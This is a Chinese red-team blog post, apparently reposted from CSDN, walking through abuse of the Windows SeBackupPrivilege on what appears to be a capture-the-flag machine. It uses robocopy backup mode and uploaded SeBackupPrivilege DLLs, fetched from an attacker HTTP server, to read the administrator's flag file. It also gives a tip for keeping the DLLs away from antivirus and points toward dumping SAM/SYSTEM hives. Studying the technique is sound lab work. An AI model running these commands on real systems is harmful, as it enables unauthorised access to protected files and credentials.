// 红队渗透 · 2025-09-07

利用 SeBackupPrivilege 的最快方法

在 Windows Active Directory 或独立环境中,最快利用 SeBackupPrivilege 的方法是通过使用 robocopy 命令。本文将详细介绍如何利用这一特权快速读取敏感文件(如 root.txt),以及另一种通过 DLL 文件利用 SeBackupPrivilege 的方法(尽管速度不如 robocopy)。


使用 robocopy 命令快速读取 root.txt

利用 SeBackupPrivilege 最快的方法是使用 robocopy 命令。通过该命令,可以以备份模式(/b 参数)复制文件,绕过文件和文件夹的权限设置(ACLs),从而访问通常被限制的敏感文件。

以下是具体操作步骤和示例:

示例命令

robocopy c:\users\administrator\desktop "C:\users\public\downloads" root.txt /mt /z /b

示例输出

*Evil-WinRM* PS C:\windows\temp> robocopy c:\users\administrator\desktop "C:\users\public\downloads" root.txt /mt /z /b
-------------------------------------------------------------------------------
   ROBOCOPY     ::     Robust File Copy for Windows
-------------------------------------------------------------------------------
  Started : Tuesday, October 1, 2024 12:02:07 PM
   Source : c:\users\administrator\desktop\
     Dest : C:\users\public\downloads\

    Files : root.txt

  Options : /DCOPY:DA /COPY:DAT /B /MT:8 /R:1000000 /W:30
------------------------------------------------------------------------------
            New File                  34        c:\users\administrator\desktop\root.txt
100%
------------------------------------------------------------------------------
               Total    Copied   Skipped  Mismatch    FAILED    Extras
    Dirs :         1         1         1         0         0         0
   Files :         1         1         0         0         0         0
   Bytes :        34        34         0         0         0         0
   Times :   0:00:00   0:00:00                       0:00:00   0:00:00
   Ended : Tuesday, October 1, 2024 12:02:07 PM

*Evil-WinRM* PS C:\windows\temp> dir c:\users\public\downloads\

    Directory: C:\users\public\downloads

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         10/1/2024  11:40 AM             34 root.txt

*Evil-WinRM* PS C:\windows\temp> type c:\users\public\downloads\root.txt
7213....a..2ddd...batman.......

关键参数说明

  • /b:以备份模式复制文件,绕过文件和文件夹的权限设置(ACLs),这是利用 SeBackupPrivilege 的核心。
  • /mt:启用多线程复制,提升效率。
  • /z:在可恢复模式下复制文件,确保复制过程中断后可以继续。

通过上述命令,可以快速将 root.txt 从管理员桌面复制到公共目录,并读取其内容。


通过 DLL 文件利用 SeBackupPrivilege(速度较慢)

虽然 robocopy 是最快的方法,但另一种利用 SeBackupPrivilege 的方式是通过特定的 DLL 文件(如 SeBackupPrivilegeCmdLets.dll 和 SeBackupPrivilegeUtils.dll)。这种方法更适合需要读取特定管理文件或敏感信息(如 root.txt 或注册表文件)的情况。

背景

备份操作员(Backup Operators)是 Windows 的内置组,组内用户具有执行备份和还原操作的权限。具体来说,这些用户被分配了 SeBackupPrivilege 特权,允许他们读取域控制器中的敏感文件,例如安全账户管理器(SAM)文件。

利用 SeBackupPrivilege 有多种方式,但通过 DLL 文件的方法虽然不如 robocopy 快,却提供了更细粒度的控制,尤其适合读取特定文件或注册表数据。

前提条件

  • 确保 SeBackupPrivilege 已启用。通过以下命令检查特权状态:

    *Evil-WinRM* PS C:\windows\temp> whoami /priv
    PRIVILEGES INFORMATION
    ----------------------
    Privilege Name                Description                    State
    ============================= ============================== =======
    SeBackupPrivilege             Back up files and directories  Enabled
    SeRestorePrivilege            Restore files and directories  Enabled
    SeShutdownPrivilege           Shut down the system           Enabled
    SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
    SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
  • 启用该特权后,用户可以访问任何本地或远程目录(使用 cd 和 dir 命令),并列出其内容。

  • 要读取或复制受限文件夹中的数据,需以备份软件的方式操作。普通 copy 命令无法生效,必须使用 CreateFile 函数并指定 FILE_FLAG_BACKUP_SEMANTICS 标志。

以下是通过 DLL 文件利用 SeBackupPrivilege 的具体步骤:

步骤 1:准备两个恶意编译的 DLL 文件

需要以下两个文件:

  1. SeBackupPrivilegeCmdLets.dll
  2. SeBackupPrivilegeUtils.dll

这些文件可以通过以下链接获取:编译好的 DLL 文件。

步骤 2:将 DLL 文件上传到目标机器

通过 WinRM 或 PowerShell 上传文件:

通过 WinRM 上传

*Evil-WinRM* PS C:\windows\temp> upload SeBackupPrivilegeUtils.dll
Info: Uploading /home/alienx/Desktop/MACHINES/SEASON-6/CICADA/SeBackupPrivilegeUtils.dll to C:\windows\temp\SeBackupPrivilegeUtils.dll
Data: 21844 bytes of 21844 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\windows\temp> upload SeBackupPrivilegeCmdLets.dll
Info: Uploading /home/alienx/Desktop/MACHINES/SEASON-6/CICADA/SeBackupPrivilegeCmdLets.dll to C:\windows\temp\SeBackupPrivilegeCmdLets.dll
Data: 16384 bytes of 16384 bytes copied
Info: Upload successful!

通过 PowerShell 上传

ps1> Invoke-WebRequest -Uri http://10.10.14.27:8000/SeBackupPrivilegeUtils.dll -OutFile .\SeBackupPrivilegeUtils.dll
ps1> Invoke-WebRequest -Uri http://10.10.14.27:8000/SeBackupPrivilegeCmdLets.dll -OutFile .\SeBackupPrivilegeCmdLets.dll

注意:某些防病毒软件(AV)可能会检测并删除这些 DLL 文件,因此需要选择一个防病毒软件无法扫描的目录(如 C:\windows\temp\)来存储这些文件。

验证上传结果

*Evil-WinRM* PS C:\windows\temp> dir
    Directory: C:\windows\temp

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         9/23/2024   9:36 AM                vmware-SYSTEM
-a----         10/1/2024   8:54 AM          12288 SeBackupPrivilegeCmdLets.dll
-a----         10/1/2024   8:54 AM          16384 SeBackupPrivilegeUtils.dll
-a----         10/1/2024   8:18 AM            102 silconfig.log
-a----         9/23/2024  10:01 AM         161031 vmware-vmsvc-SYSTEM.log
-a----         9/23/2024   9:54 AM          14662 vmware-vmtoolsd-administrator.log
-a----         10/1/2024   8:18 AM          16130 vmware-vmtoolsd-SYSTEM.log
-a----         9/23/2024  10:01 AM          51472 vmware-vmusr-administrator.log
-a----         10/1/2024   8:18 AM          14873 vmware-vmvss-SYSTEM.log

步骤 3:导入 DLL 文件

导入两个 DLL 文件并启用特权:

*Evil-WinRM* PS C:\windows\temp> Import-Module .\SeBackupPrivilegeUtils.dll
*Evil-WinRM* PS C:\windows\temp> Import-Module .\SeBackupPrivilegeCmdLets.dll
*Evil-WinRM* PS C:\windows\temp> Set-SeBackupPrivilege
*Evil-WinRM* PS C:\windows\temp> Get-SeBackupPrivilege

步骤 4:复制和读取敏感文件

使用 Copy-FileSeBackupPrivilege 命令复制敏感文件(如 root.txt)到可访问目录:

*Evil-WinRM* PS C:\windows\temp> Copy-FileSeBackupPrivilege C:\users\administrator\Desktop\root.txt C:\windows\temp\flag.txt -Overwrite
*Evil-WinRM* PS C:\windows\temp> dir

    Directory: C:\windows\temp

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         9/23/2024   9:36 AM                vmware-SYSTEM
-a----         10/1/2024   9:00 AM             34 flag.txt
-a----         10/1/2024   8:54 AM          12288 SeBackupPrivilegeCmdLets.dll
-a----         10/1/2024   8:54 AM          16384 SeBackupPrivilegeUtils.dll
-a----         10/1/2024   8:18 AM            102 silconfig.log
-a----         9/23/2024  10:01 AM         161031 vmware-vmsvc-SYSTEM.log
-a----         9/23/2024   9:54 AM          14662 vmware-vmtoolsd-administrator.log
-a----         10/1/2024   8:18 AM          16130 vmware-vmtoolsd-SYSTEM.log
-a----         9/23/2024  10:01 AM          51472 vmware-vmusr-administrator.log
-a----         10/1/2024   8:18 AM          14873 vmware-vmvss-SYSTEM.log

*Evil-WinRM* PS C:\windows\temp> type flag.txt
a4a96.....ef2e69f......

附加说明

如果需要进一步操作,可以尝试读取 Windows 注册表 hives(如 SAM 或 SYSTEM 文件),并将其导出到本地机器,以获取管理员权限或其他敏感信息。


总结

  • 使用 robocopy:这是利用 SeBackupPrivilege 最快的方法,适合快速复制敏感文件(如 root.txt)。只需一条命令即可完成,效率极高。
  • 使用 DLL 文件:虽然速度较慢,但提供了更细粒度的控制,适合需要读取特定文件或注册表数据的场景。需要上传和导入 DLL 文件,并注意防病毒软件的干扰。

参考资料

通过以上方法,可以有效利用 SeBackupPrivilege 特权,访问 Windows 系统中的敏感文件和数据。

原文 https://blog.csdn.net/2301_79518550/article/details/151113111